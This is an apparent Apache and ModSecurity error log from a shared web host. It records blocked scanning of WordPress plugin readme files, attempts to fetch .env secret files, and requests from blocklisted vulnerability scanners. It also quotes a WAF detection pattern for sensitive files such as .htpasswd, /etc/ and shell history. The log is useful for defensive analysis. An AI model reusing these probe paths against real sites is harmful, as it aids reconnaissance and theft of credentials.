https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:18:45.425534 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.83:37738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.425914 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.83:37738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.460615 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.12:58870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.460955 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.12:58870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.508320 2026] [security2:error] [pid 646876:tid 647044] [client 185.177.72.9:30426] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/up.php"] [unique_id "ai3zZdyTkdrNlD40tSG25gAAACQ"] [Sat Jun 13 18:18:45.510323 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.12:58874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.510596 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.12:58874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.630997 2026] [security2:error] [pid 646876:tid 647091] [client 45.156.128.153:49202] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/woocommerce/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG26AAAAFM"] [Sat Jun 13 18:18:45.634634 2026] [security2:error] [pid 646876:tid 647035] [client 45.156.128.155:38804] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/akismet/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG26QAAABs"] [Sat Jun 13 18:18:45.654509 2026] [security2:error] [pid 648189:tid 648461] [client 45.156.128.153:49210] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wpforms-lite/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKBySAAAAOs"] [Sat Jun 13 18:18:45.660324 2026] [security2:error] [pid 648189:tid 648452] [client 45.156.128.152:40054] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/google-site-kit/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKBySQAAAOY"] [Sat Jun 13 18:18:45.667580 2026] [security2:error] [pid 646876:tid 647038] [client 45.156.128.152:40048] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/really-simple-ssl/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG26gAAAB4"] [Sat Jun 13 18:18:45.676028 2026] [security2:error] [pid 646876:tid 647126] [client 45.156.128.155:38818] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/jetpack/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG26wAAAHY"] [Sat Jun 13 18:18:45.683937 2026] [security2:error] [pid 646876:tid 647109] [client 45.156.128.154:34112] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/all-in-one-seo-pack/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG27AAAAGU"] [Sat Jun 13 18:18:45.751937 2026] [security2:error] [pid 648189:tid 648469] [client 45.156.128.153:49216] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/autoptimize/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByTgAAAPM"] [Sat Jun 13 18:18:45.763403 2026] [security2:error] [pid 648189:tid 648402] [client 45.156.128.155:38834] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/code-snippets/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByUAAAALY"] [Sat Jun 13 18:18:45.769873 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/upfiles/.env"] [unique_id "ai3zZVWSojQL4F7upKByUgAAAL4"] [Sat Jun 13 18:18:45.806158 2026] [security2:error] [pid 648189:tid 648227] [remote 17.241.219.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZVWSojQL4F7upKByVAAArgc"] [Sat Jun 13 18:18:45.812136 2026] [security2:error] [pid 648189:tid 648475] [client 45.156.128.154:34122] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/duplicate-post/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByVQAAAPk"] [Sat Jun 13 18:18:45.837747 2026] [security2:error] [pid 646876:tid 647093] [client 45.156.128.155:38842] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/insert-headers-and-footers/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG27wAAAFU"] [Sat Jun 13 18:18:45.847899 2026] [security2:error] [pid 646876:tid 647029] [client 45.156.128.155:38858] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/complianz-gdpr/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG28AAAABU"] [Sat Jun 13 18:18:45.850196 2026] [security2:error] [pid 646876:tid 647106] [client 45.156.128.153:49232] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-super-cache/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG28QAAAGI"] [Sat Jun 13 18:18:45.850539 2026] [security2:error] [pid 648189:tid 648460] [client 45.156.128.153:49222] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/advanced-custom-fields/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByVgAAAOo"] [Sat Jun 13 18:18:45.854210 2026] [security2:error] [pid 648189:tid 648367] [client 45.156.128.155:38848] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/google-analytics-for-wordpress/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByVwAAAJM"] [Sat Jun 13 18:18:45.862878 2026] [security2:error] [pid 648189:tid 648479] [client 45.156.128.155:38870] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-fastest-cache/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByWgAAAP0"] [Sat Jun 13 18:18:45.872789 2026] [security2:error] [pid 646876:tid 647010] [client 45.156.128.153:49256] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/limit-login-attempts-reloaded/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG28gAAAAI"] [Sat Jun 13 18:18:45.873328 2026] [security2:error] [pid 648189:tid 648388] [client 45.156.128.154:34138] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/svg-support/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByWwAAAKg"] [Sat Jun 13 18:18:45.876726 2026] [security2:error] [pid 648189:tid 648483] [client 45.156.128.152:40056] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/elementor/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByXAAAAQE"] [Sat Jun 13 18:18:45.888590 2026] [security2:error] [pid 648189:tid 648416] [client 45.156.128.153:49258] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wordfence/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByXgAAAMM"] [Sat Jun 13 18:18:45.892137 2026] [security2:error] [pid 646876:tid 647022] [client 45.156.128.153:49244] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/loginizer/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG28wAAAA4"] [Sat Jun 13 18:18:45.895937 2026] [security2:error] [pid 648189:tid 648379] [client 45.156.128.154:34146] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wordpress-seo/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByXwAAAJ8"] [Sat Jun 13 18:18:45.907504 2026] [security2:error] [pid 648189:tid 648481] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/upload/.env"] [unique_id "ai3zZVWSojQL4F7upKByYAAAAP8"] [Sat Jun 13 18:18:45.921360 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.92:33734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.922005 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.92:33734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.934742 2026] [security2:error] [pid 646876:tid 647011] [client 45.156.128.152:40060] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/hostinger/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG29gAAAAM"] [Sat Jun 13 18:18:45.944050 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:45.944509 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:45.956056 2026] [security2:error] [pid 646876:tid 647077] [client 45.156.128.152:40086] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/ultimate-addons-for-gutenberg/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG2-AAAAEU"] [Sat Jun 13 18:18:45.956903 2026] [security2:error] [pid 646876:tid 647013] [client 45.156.128.152:40078] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/header-footer-elementor/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG2-QAAAAU"] [Sat Jun 13 18:18:45.963584 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.51:31420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.964015 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.51:31420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.971524 2026] [security2:error] [pid 648189:tid 648473] [client 45.156.128.153:49272] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/litespeed-cache/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByYgAAAPc"] [Sat Jun 13 18:18:45.977985 2026] [security2:error] [pid 648189:tid 648477] [client 45.156.128.153:49288] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wps-hide-login/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByYwAAAPs"] [Sat Jun 13 18:18:45.979252 2026] [security2:error] [pid 648189:tid 648476] [client 45.156.128.152:40064] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/duplicator/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByZAAAAPo"] [Sat Jun 13 18:18:45.979918 2026] [security2:error] [pid 648189:tid 648467] [client 45.156.128.155:38886] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/ewww-image-optimizer/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByZQAAAPE"] [Sat Jun 13 18:18:45.983995 2026] [security2:error] [pid 648189:tid 648432] [client 45.156.128.153:49274] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/better-search-replace/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByZgAAANM"] [Sat Jun 13 18:18:45.988453 2026] [security2:error] [pid 646876:tid 647026] [client 45.156.128.155:38884] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/disable-comments/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG2_QAAABI"] [Sat Jun 13 18:18:45.990948 2026] [security2:error] [pid 646876:tid 647050] [client 45.156.128.152:40104] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/sg-security/readme.txt"] [unique_id "ai3zZdyTkdrNlD40tSG2_wAAACo"] [Sat Jun 13 18:18:46.005049 2026] [security2:error] [pid 648189:tid 648443] [client 45.156.128.153:49304] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/duplicate-page/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByZwAAAN0"] [Sat Jun 13 18:18:46.006666 2026] [security2:error] [pid 648189:tid 648427] [client 45.156.128.152:40114] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/all-in-one-wp-migration/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByaAAAAM4"] [Sat Jun 13 18:18:46.007889 2026] [security2:error] [pid 648189:tid 648433] [client 45.156.128.152:40102] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/all-in-one-wp-security-and-firewall/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByaQAAANQ"] [Sat Jun 13 18:18:46.008082 2026] [security2:error] [pid 648189:tid 648358] [client 45.156.128.155:38890] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/seo-by-rank-math/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByagAAAIo"] [Sat Jun 13 18:18:46.008183 2026] [security2:error] [pid 646876:tid 647130] [client 45.156.128.153:49294] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-file-manager/readme.txt"] [unique_id "ai3zZtyTkdrNlD40tSG3AAAAAHo"] [Sat Jun 13 18:18:46.009859 2026] [security2:error] [pid 648189:tid 648390] [client 45.156.128.153:49314] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/envato-elements/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByawAAAKo"] [Sat Jun 13 18:18:46.015078 2026] [security2:error] [pid 646876:tid 646980] [remote 17.22.245.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZtyTkdrNlD40tSG3AwAAF2U"] [Sat Jun 13 18:18:46.021001 2026] [security2:error] [pid 648189:tid 648474] [client 45.156.128.154:34190] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/astra-sites/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBybAAAAPg"] [Sat Jun 13 18:18:46.021034 2026] [security2:error] [pid 648189:tid 648371] [client 45.156.128.155:38906] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBybQAAAJc"] [Sat Jun 13 18:18:46.026060 2026] [security2:error] [pid 648189:tid 648478] [client 45.156.128.154:34176] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/better-wp-security/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBybgAAAPw"] [Sat Jun 13 18:18:46.029050 2026] [security2:error] [pid 646876:tid 647095] [client 45.156.128.154:34160] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/contact-form-7/readme.txt"] [unique_id 